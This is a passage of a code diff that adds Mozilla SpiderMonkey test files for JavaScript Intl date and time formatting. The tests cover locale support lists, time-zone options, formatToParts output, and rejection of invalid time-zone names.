+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+
+var count = Intl.Collator.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.Collator");
diff --git a/js/src/tests/Intl/Date/browser.js b/js/src/tests/Intl/Date/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/Date/browser.js
diff --git a/js/src/tests/Intl/Date/shell.js b/js/src/tests/Intl/Date/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/Date/shell.js
diff --git a/js/src/tests/Intl/Date/toLocaleDateString_timeZone.js b/js/src/tests/Intl/Date/toLocaleDateString_timeZone.js
new file mode 100644
index 000000000..47b77dbe8
--- /dev/null
+++ b/js/src/tests/Intl/Date/toLocaleDateString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = { timeZoneName: "short" };
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, GMT",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, PST",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "6.12.2012, MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "06/12/2012 à heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "2012/12/6 中国标准时间",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "06/12/2012, AEDT",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleDateString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleDateString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleDateString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleDateString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/Intl/Date/toLocaleString_timeZone.js b/js/src/tests/Intl/Date/toLocaleString_timeZone.js
new file mode 100644
index 000000000..63e370034
--- /dev/null
+++ b/js/src/tests/Intl/Date/toLocaleString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {};
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, 4:00:00 AM",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "6.12.2012, 13:00:00 MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "06/12/2012 à 13:00:00 heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "2012/12/6 中国标准时间 下午8:00:00",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "06/12/2012, 11:00:00 pm",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/Intl/Date/toLocaleTimeString_timeZone.js b/js/src/tests/Intl/Date/toLocaleTimeString_timeZone.js
new file mode 100644
index 000000000..14799a287
--- /dev/null
+++ b/js/src/tests/Intl/Date/toLocaleTimeString_timeZone.js
@@ -0,0 +1,77 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {};
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "4:00:00 AM",
+ },
+ {
+ timeZone: "Europe/Berlin", locale: "de",
+ options: { timeZoneName: "short" },
+ result: "13:00:00 MEZ",
+ },
+ {
+ timeZone: "Europe/Paris", locale: "fr",
+ options: { timeZoneName: "long" },
+ result: "13:00:00 heure normale d’Europe centrale",
+ },
+ {
+ timeZone: "Asia/Shanghai", locale: "zh-Hans-CN",
+ options: { timeZoneName: "long" },
+ result: "中国标准时间 下午8:00:00",
+ },
+ {
+ timeZone: { toString: () => "Australia/Melbourne" }, locale: "en-AU",
+ result: "11:00:00 pm",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ let s = new Date(date).toLocaleTimeString(locale, Object.assign({timeZone}, options));
+ assertEq(s, result);
+}
+
+
+// |undefined| or absent "timeZone" option selects the default time zone.
+{
+ let locale = defaultLocale;
+ let date = defaultDate;
+ let options = defaultOptions;
+
+ let absentTz = new Date(date).toLocaleTimeString(locale, Object.assign({}, options));
+ let undefinedTz = new Date(date).toLocaleTimeString(locale, Object.assign({timeZone: undefined}, options));
+ assertEq(undefinedTz, absentTz);
+}
+
+
+// RangeError is thrown for invalid time zone names.
+for (let timeZone of ["", "undefined", "UTC\0", "Vienna", "Africa", "America/NewYork"]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// RangeError is thrown for these values, because ToString(<value>)
+// isn't a valid time zone name.
+for (let timeZone of [null, 0, 0.5, true, false, [], {}, function() {}]) {
+ assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone});
+ }, RangeError);
+}
+
+// ToString(<symbol>) throws TypeError.
+assertThrowsInstanceOf(() => {
+ new Date(defaultDate).toLocaleTimeString(undefined, {timeZone: Symbol()});
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/Intl/DateTimeFormat/browser.js b/js/src/tests/Intl/DateTimeFormat/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/browser.js
diff --git a/js/src/tests/Intl/DateTimeFormat/format.js b/js/src/tests/Intl/DateTimeFormat/format.js
new file mode 100644
index 000000000..936a7dae3
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/format.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the format function with a diverse set of locales and options.
+// Always use UTC to avoid dependencies on test environment.
+
+var format;
+var date = Date.UTC(2012, 11, 12, 3, 0, 0);
+var longFormatOptions = {timeZone: "UTC",
+ year: "numeric", month: "long", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric"};
+
+// Locale en-US; default options.
+format = new Intl.DateTimeFormat("en-us", {timeZone: "UTC"});
+assertEq(format.format(date), "12/12/2012");
+
+// Locale th-TH; default options.
+// Thailand uses the Buddhist calendar.
+format = new Intl.DateTimeFormat("th-th", {timeZone: "UTC"});
+assertEq(format.format(date), "12/12/2555");
+
+// Locale th-TH; long format, Thai digits.
+format = new Intl.DateTimeFormat("th-th-u-nu-thai", longFormatOptions);
+assertEq(format.format(date), "๑๒ ธันวาคม ๒๕๕๕ ๐๓:๐๐:๐๐");
+
+// Locale ja-JP; long format.
+format = new Intl.DateTimeFormat("ja-jp", longFormatOptions);
+assertEq(format.format(date), "2012年12月12日 3:00:00");
+
+// Locale ar-MA; long format, Islamic civilian calendar.
+format = new Intl.DateTimeFormat("ar-ma-u-ca-islamicc", longFormatOptions);
+assertEq(format.format(date), "28 محرم، 1434 03:00:00");
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/Intl/DateTimeFormat/formatToParts.js b/js/src/tests/Intl/DateTimeFormat/formatToParts.js
new file mode 100644
index 000000000..95831e67a
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/formatToParts.js
@@ -0,0 +1,170 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Tests the format function with a diverse set of locales and options.
+// Always use UTC to avoid dependencies on test environment.
+
+/*
+ * Return true if A is equal to B, where equality on arrays and objects
+ * means that they have the same set of enumerable properties, the values
+ * of each property are deep_equal, and their 'length' properties are
+ * equal. Equality on other types is ==.
+ */
+function deepEqual(a, b) {
+ if (typeof a !== typeof b)
+ return false;
+
+ if (a === null)
+ return b === null;
+
+ if (typeof a === 'object') {
+ // For every property of a, does b have that property with an equal value?
+ var props = {};
+ for (var prop in a) {
+ if (!deepEqual(a[prop], b[prop]))
+ return false;
+ props[prop] = true;
+ }
+
+ // Are all of b's properties present on a?
+ for (var prop in b)
+ if (!props[prop])
+ return false;
+
+ // length isn't enumerable, but we want to check it, too.
+ return a.length === b.length;
+ }
+
+ return Object.is(a, b);
+}
+
+function composeDate(parts) {
+ return parts.map(({value}) => value)
+ .reduce((string, part) => string + part);
+}
+
+var format;
+var date = Date.UTC(2012, 11, 17, 3, 0, 42);
+
+// Locale en-US; default options.
+format = new Intl.DateTimeFormat("en-us", {timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'month', value: '12' },
+ { type: 'literal', value: '/' },
+ { type: 'day', value: '17' },
+ { type: 'literal', value: '/' },
+ { type: 'year', value: '2012' }
+]), true);
+
+// Just date
+format = new Intl.DateTimeFormat("en-us", {
+ year: 'numeric',
+ month: 'numeric',
+ day: 'numeric',
+ timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'month', value: '12' },
+ { type: 'literal', value: '/' },
+ { type: 'day', value: '17' },
+ { type: 'literal', value: '/' },
+ { type: 'year', value: '2012' }
+]), true);
+assertEq(composeDate(format.formatToParts(date)), format.format(date));
+
+// Just time in hour24
+format = new Intl.DateTimeFormat("en-us", {
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: false,
+ timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'hour', value: '03' },
+ { type: 'literal', value: ':' },
+ { type: 'minute', value: '00' },
+ { type: 'literal', value: ':' },
+ { type: 'second', value: '42' }
+]), true);
+assertEq(composeDate(format.formatToParts(date)), format.format(date));
+
+// Just time in hour12
+format = new Intl.DateTimeFormat("en-us", {
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: true,
+ timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'hour', value: '3' },
+ { type: 'literal', value: ':' },
+ { type: 'minute', value: '00' },
+ { type: 'literal', value: ':' },
+ { type: 'second', value: '42' },
+ { type: 'literal', value: ' ' },
+ { type: 'dayPeriod', value: 'AM' }
+]), true);
+assertEq(composeDate(format.formatToParts(date)), format.format(date));
+
+// Just month.
+format = new Intl.DateTimeFormat("en-us", {
+ month: "narrow",
+ timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'month', value: 'D' }
+]), true);
+assertEq(composeDate(format.formatToParts(date)), format.format(date));
+
+// Just weekday.
+format = new Intl.DateTimeFormat("en-us", {
+ weekday: "narrow",
+ timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'weekday', value: 'M' }
+]), true);
+assertEq(composeDate(format.formatToParts(date)), format.format(date));
+
+// Year and era.
+format = new Intl.DateTimeFormat("en-us", {
+ year: "numeric",
+ era: "short",
+ timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'year', value: '2012' },
+ { type: 'literal', value: ' ' },
+ { type: 'era', value: 'AD' }
+]), true);
+assertEq(composeDate(format.formatToParts(date)), format.format(date));
+
+// Time and date
+format = new Intl.DateTimeFormat("en-us", {
+ weekday: 'long',
+ year: 'numeric',
+ month: 'numeric',
+ day: 'numeric',
+ hour: 'numeric',
+ minute: 'numeric',
+ second: 'numeric',
+ hour12: true,
+ timeZone: "UTC"});
+assertEq(deepEqual(format.formatToParts(date), [
+ { type: 'weekday', value: 'Monday' },
+ { type: 'literal', value: ', ' },
+ { type: 'month', value: '12' },
+ { type: 'literal', value: '/' },
+ { type: 'day', value: '17' },
+ { type: 'literal', value: '/' },
+ { type: 'year', value: '2012' },
+ { type: 'literal', value: ', ' },
+ { type: 'hour', value: '3' },
+ { type: 'literal', value: ':' },
+ { type: 'minute', value: '00' },
+ { type: 'literal', value: ':' },
+ { type: 'second', value: '42' },
+ { type: 'literal', value: ' ' },
+ { type: 'dayPeriod', value: 'AM' }
+]), true);
+assertEq(composeDate(format.formatToParts(date)), format.format(date));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/Intl/DateTimeFormat/format_timeZone.js b/js/src/tests/Intl/DateTimeFormat/format_timeZone.js
new file mode 100644
index 000000000..a4d4dd1c4
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/format_timeZone.js
@@ -0,0 +1,104 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const defaultLocale = "en-US";
+const defaultDate = Date.UTC(2012, 12-1, 6, 12, 0, 0);
+const defaultOptions = {
+ year: "numeric", month: "numeric", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric",
+};
+const longFormatOptions = Object.assign({}, defaultOptions, {
+ month: "long"
+});
+const tzNameFormatOptions = Object.assign({}, defaultOptions, {
+ timeZoneName: "short"
+});
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+const tests = [
+ {
+ timeZone: "UTC",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "America/Los_Angeles",
+ result: "12/6/2012, 4:00:00 AM",
+ },
+ {
+ timeZone: "America/New_York",
+ options: tzNameFormatOptions,
+ result: "12/6/2012, 7:00:00 AM EST",
+ },
+ {
+ timeZone: "America/Caracas",
+ result: "12/6/2012, 7:30:00 AM",
+ },
+ {
+ timeZone: "Europe/London",
+ result: "12/6/2012, 12:00:00 PM",
+ },
+ {
+ timeZone: "Africa/Casablanca",
+ locale: "ar-MA-u-ca-islamicc", options: longFormatOptions,
+ result: "22 محرم، 1434 12:00:00",
+ },
+ {
+ timeZone: "Europe/Berlin",
+ locale: "de-DE", options: tzNameFormatOptions,
+ result: "6.12.2012, 13:00:00 MEZ",
+ },
+ {
+ timeZone: "Asia/Kathmandu",
+ result: "12/6/2012, 5:45:00 PM",
+ },
+ {
+ timeZone: "Asia/Bangkok",
+ locale: "th-th-u-nu-thai", options: longFormatOptions,
+ result: "๖ ธันวาคม ๒๕๕๕ ๑๙:๐๐:๐๐",
+ },
+ {
+ timeZone: "Asia/Tokyo",
+ locale: "ja-JP", options: longFormatOptions,
+ result: "2012年12月6日 21:00:00",
+ },
+ {
+ timeZone: "Australia/Lord_Howe",
+ result: "12/6/2012, 11:00:00 PM",
+ },
+ {
+ timeZone: "Australia/Lord_Howe",
+ date: Date.UTC(2012, 7-1, 6, 12, 0, 0),
+ result: "7/6/2012, 10:30:00 PM",
+ },
+ {
+ timeZone: "Pacific/Kiritimati",
+ date: Date.UTC(1978, 12-1, 6, 12, 0, 0),
+ result: "12/6/1978, 1:20:00 AM",
+ },
+ {
+ timeZone: "Africa/Monrovia",
+ date: Date.UTC(1971, 12-1, 6, 12, 0, 0),
+ result: "12/6/1971, 11:15:30 AM",
+ },
+ {
+ timeZone: "Asia/Riyadh",
+ date: Date.UTC(1946, 12-1, 6, 12, 0, 0),
+ result: "12/6/1946, 3:06:52 PM",
+ },
+];
+
+for (let {timeZone, result, locale = defaultLocale, date = defaultDate, options = defaultOptions} of tests) {
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(locale, Object.assign({timeZone: map(timeZone)}, options));
+ assertEq(dtf.format(date), result);
+ assertEq(dtf.resolvedOptions().timeZone, timeZone);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/Intl/DateTimeFormat/shell.js b/js/src/tests/Intl/DateTimeFormat/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/shell.js
diff --git a/js/src/tests/Intl/DateTimeFormat/supportedLocalesOf.js b/js/src/tests/Intl/DateTimeFormat/supportedLocalesOf.js
new file mode 100644
index 000000000..b957f9cd6
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/supportedLocalesOf.js
@@ -0,0 +1,371 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||xulRuntime.shell)
+// -- test in browser only that ICU has locale data for all Mozilla languages
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// This array contains the locales that ICU supports in
+// date and time formatting whose languages Mozilla localizes Firefox into.
+// Current as of ICU 50.1.2 and Firefox March 2013.
+var locales = [
+ "af",
+ "af-NA",
+ "af-ZA",
+ "ar",
+ "ar-001",
+ "ar-AE",
+ "ar-BH",
+ "ar-DJ",
+ "ar-DZ",
+ "ar-EG",
+ "ar-EH",
+ "ar-ER",
+ "ar-IL",
+ "ar-IQ",
+ "ar-JO",
+ "ar-KM",
+ "ar-KW",
+ "ar-LB",
+ "ar-LY",
+ "ar-MA",
+ "ar-MR",
+ "ar-OM",
+ "ar-PS",
+ "ar-QA",
+ "ar-SA",
+ "ar-SD",
+ "ar-SO",
+ "ar-SY",
+ "ar-TD",
+ "ar-TN",
+ "ar-YE",
+ "as",
+ "as-IN",
+ "be",
+ "be-BY",
+ "bg",
+ "bg-BG",
+ "bn",
+ "bn-BD",
+ "bn-IN",
+ "br",
+ "br-FR",
+ "bs",
+ "bs-Cyrl",
+ "bs-Cyrl-BA",
+ "bs-Latn",
+ "bs-Latn-BA",
+ "ca",
+ "ca-AD",
+ "ca-ES",
+ "cs",
+ "cs-CZ",
+ "cy",
+ "cy-GB",
+ "da",
+ "da-DK",
+ "de",
+ "de-AT",
+ "de-BE",
+ "de-CH",
+ "de-DE",
+ "de-LI",
+ "de-LU",
+ "el",
+ "el-CY",
+ "el-GR",
+ "en",
+ "en-150",
+ "en-AG",
+ "en-AS",
+ "en-AU",
+ "en-BB",
+ "en-BE",
+ "en-BM",
+ "en-BS",
+ "en-BW",
+ "en-BZ",
+ "en-CA",
+ "en-CM",
+ "en-DM",
+ "en-FJ",
+ "en-FM",
+ "en-GB",
+ "en-GD",
+ "en-GG",
+ "en-GH",
+ "en-GI",
+ "en-GM",
+ "en-GU",
+ "en-GY",
+ "en-HK",
+ "en-IE",
+ "en-IM",
+ "en-IN",
+ "en-JE",
+ "en-JM",
+ "en-KE",
+ "en-KI",
+ "en-KN",
+ "en-KY",
+ "en-LC",
+ "en-LR",
+ "en-LS",
+ "en-MG",
+ "en-MH",
+ "en-MP",
+ "en-MT",
+ "en-MU",
+ "en-MW",
+ "en-NA",
+ "en-NG",
+ "en-NZ",
+ "en-PG",
+ "en-PH",
+ "en-PK",
+ "en-PR",
+ "en-PW",
+ "en-SB",
+ "en-SC",
+ "en-SG",
+ "en-SL",
+ "en-SS",
+ "en-SZ",
+ "en-TC",
+ "en-TO",
+ "en-TT",
+ "en-TZ",
+ "en-UG",
+ "en-UM",
+ "en-US",
+ "en-US-POSIX",
+ "en-VC",
+ "en-VG",
+ "en-VI",
+ "en-VU",
+ "en-WS",
+ "en-ZA",
+ "en-ZM",
+ "en-ZW",
+ "eo",
+ "es",
+ "es-419",
+ "es-AR",
+ "es-BO",
+ "es-CL",
+ "es-CO",
+ "es-CR",
+ "es-CU",
+ "es-DO",
+ "es-EA",
+ "es-EC",
+ "es-ES",
+ "es-GQ",
+ "es-GT",
+ "es-HN",
+ "es-IC",
+ "es-MX",
+ "es-NI",
+ "es-PA",
+ "es-PE",
+ "es-PH",
+ "es-PR",
+ "es-PY",
+ "es-SV",
+ "es-US",
+ "es-UY",
+ "es-VE",
+ "et",
+ "et-EE",
+ "eu",
+ "eu-ES",
+ "fa",
+ "fa-AF",
+ "fa-IR",
+ "ff",
+ "ff-SN",
+ "fi",
+ "fi-FI",
+ "fr",
+ "fr-BE",
+ "fr-BF",
+ "fr-BI",
+ "fr-BJ",
+ "fr-BL",
+ "fr-CA",
+ "fr-CD",
+ "fr-CF",
+ "fr-CG",
+ "fr-CH",
+ "fr-CI",
+ "fr-CM",
+ "fr-DJ",
+ "fr-DZ",
+ "fr-FR",
+ "fr-GA",
+ "fr-GF",
+ "fr-GN",
+ "fr-GP",
+ "fr-GQ",
+ "fr-HT",
+ "fr-KM",
+ "fr-LU",
+ "fr-MA",
+ "fr-MC",
+ "fr-MF",
+ "fr-MG",
+ "fr-ML",
+ "fr-MQ",
+ "fr-MR",
+ "fr-MU",
+ "fr-NC",
+ "fr-NE",
+ "fr-PF",
+ "fr-RE",
+ "fr-RW",
+ "fr-SC",
+ "fr-SN",
+ "fr-SY",
+ "fr-TD",
+ "fr-TG",
+ "fr-TN",
+ "fr-VU",
+ "fr-YT",
+ "ga",
+ "ga-IE",
+ "gl",
+ "gl-ES",
+ "gu",
+ "gu-IN",
+ "he",
+ "he-IL",
+ "hi",
+ "hi-IN",
+ "hr",
+ "hr-BA",
+ "hr-HR",
+ "hu",
+ "hu-HU",
+ "hy",
+ "hy-AM",
+ "id",
+ "id-ID",
+ "is",
+ "is-IS",
+ "it",
+ "it-CH",
+ "it-IT",
+ "it-SM",
+ "ja",
+ "ja-JP",
+ "kk",
+ "kk-Cyrl",
+ "kk-Cyrl-KZ",
+ "km",
+ "km-KH",
+ "kn",
+ "kn-IN",
+ "ko",
+ "ko-KP",
+ "ko-KR",
+ "lt",
+ "lt-LT",
+ "lv",
+ "lv-LV",
+ "mk",
+ "mk-MK",
+ "ml",
+ "ml-IN",
+ "mr",
+ "mr-IN",
+ "nb",
+ "nb-NO",
+ "nl",
+ "nl-AW",
+ "nl-BE",
+ "nl-CW",
+ "nl-NL",
+ "nl-SR",
+ "nl-SX",
+ "nn",
+ "nn-NO",
+ "or",
+ "or-IN",
+ "pa",
+ "pa-Arab",
+ "pa-Arab-PK",
+ "pa-Guru",
+ "pa-Guru-IN",
+ "pl",
+ "pl-PL",
+ "pt",
+ "pt-AO",
+ "pt-BR",
+ "pt-CV",
+ "pt-GW",
+ "pt-MO",
+ "pt-MZ",
+ "pt-PT",
+ "pt-ST",
+ "pt-TL",
+ "rm",
+ "rm-CH",
+ "ro",
+ "ro-MD",
+ "ro-RO",
+ "ru",
+ "ru-BY",
+ "ru-KG",
+ "ru-KZ",
+ "ru-MD",
+ "ru-RU",
+ "ru-UA",
+ "si",
+ "si-LK",
+ "sk",
+ "sk-SK",
+ "sl",
+ "sl-SI",
+ "sq",
+ "sq-AL",
+ "sq-MK",
+ "sr",
+ "sr-Cyrl",
+ "sr-Cyrl-BA",
+ "sr-Cyrl-ME",
+ "sr-Cyrl-RS",
+ "sr-Latn",
+ "sr-Latn-BA",
+ "sr-Latn-ME",
+ "sr-Latn-RS",
+ "sv",
+ "sv-AX",
+ "sv-FI",
+ "sv-SE",
+ "te",
+ "te-IN",
+ "th",
+ "th-TH",
+ "tr",
+ "tr-CY",
+ "tr-TR",
+ "uk",
+ "uk-UA",
+ "vi",
+ "vi-VN",
+ "zh",
+ "zh-Hans",
+ "zh-Hans-CN",
+ "zh-Hans-HK",
+ "zh-Hans-MO",
+ "zh-Hans-SG",
+ "zh-Hant",
+ "zh-Hant-HK",
+ "zh-Hant-MO",
+ "zh-Hant-TW",
+];
+
+var count = Intl.DateTimeFormat.supportedLocalesOf(locales).length;
+
+reportCompare(locales.length, count, "Number of supported locales in Intl.DateTimeFormat");
diff --git a/js/src/tests/Intl/DateTimeFormat/timeZone.js b/js/src/tests/Intl/DateTimeFormat/timeZone.js
new file mode 100644
index 000000000..94d0fdc1f
--- /dev/null
+++ b/js/src/tests/Intl/DateTimeFormat/timeZone.js
@@ -0,0 +1,152 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const tzMapper = [
+ x => x,
+ x => x.toUpperCase(),
+ x => x.toLowerCase(),
+];
+
+
+const utcTimeZones = [
+ // Etc/UTC and Etc/GMT are normalized to UTC.
+ "Etc/UTC", "Etc/GMT",
+
+ // Links to Etc/GMT. (tzdata/etcetera)
+ "GMT", "Etc/Greenwich", "Etc/GMT-0", "Etc/GMT+0", "Etc/GMT0",
+
+ // Links to Etc/UTC. (tzdata/etcetera)
+ "Etc/Universal", "Etc/Zulu",
+
+ // Links to Etc/GMT. (tzdata/backward)
+ "GMT+0", "GMT-0", "GMT0", "Greenwich",
+
+ // Links to Etc/UTC. (tzdata/backward)
+ "UTC", "Universal", "Zulu",
+];
+
+for (let timeZone of utcTimeZones) {
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ assertEq(dtf.resolvedOptions().timeZone, "UTC");
+ }
+}
+
+
+// ECMA-402 doesn't normalize Etc/UCT to UTC.
+const uctTimeZones = [
+ "Etc/UCT", "UCT",
+];
+
+for (let timeZone of uctTimeZones) {
+ for (let map of tzMapper) {
+ let dtf = new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ assertEq(dtf.resolvedOptions().timeZone, "Etc/UCT");
+ }
+}
+
+
+const invalidTimeZones = [
+ "", "null", "undefined", "UTC\0",
+
+ // ICU time zone name for invalid time zones.
+ "Etc/Unknown",
+
+ // ICU custom time zones.
+ "GMT-1", "GMT+1", "GMT-10", "GMT+10",
+ "GMT-10:00", "GMT+10:00",
+ "GMT-1000", "GMT+1000",
+
+ // Legacy ICU time zones.
+ "ACT", "AET", "AGT", "ART", "AST", "BET", "BST", "CAT", "CNT", "CST",
+ "CTT", "EAT", "ECT", "IET", "IST", "JST", "MIT", "NET", "NST", "PLT",
+ "PNT", "PRT", "PST", "SST", "VST",
+
+ // Deprecated IANA time zones.
+ "SystemV/AST4ADT", "SystemV/EST5EDT", "SystemV/CST6CDT", "SystemV/MST7MDT",
+ "SystemV/PST8PDT", "SystemV/YST9YDT", "SystemV/AST4", "SystemV/EST5",
+ "SystemV/CST6", "SystemV/MST7", "SystemV/PST8", "SystemV/YST9", "SystemV/HST10",
+];
+
+for (let timeZone of invalidTimeZones) {
+ for (let map of tzMapper) {
+ assertThrowsInstanceOf(() => {
+ new Intl.DateTimeFormat(undefined, {timeZone: map(timeZone)});
+ }, RangeError);
+ }
+}
+
+
+// GMT[+-]hh is invalid, but Etc/GMT[+-]hh is a valid IANA time zone.
+for (let gmtOffset = -14; gmtOffset <= 12; ++gmtOffset) {
+ // Skip Etc/GMT0.
+ if (gmtOffset === 0)
+ continue;
+
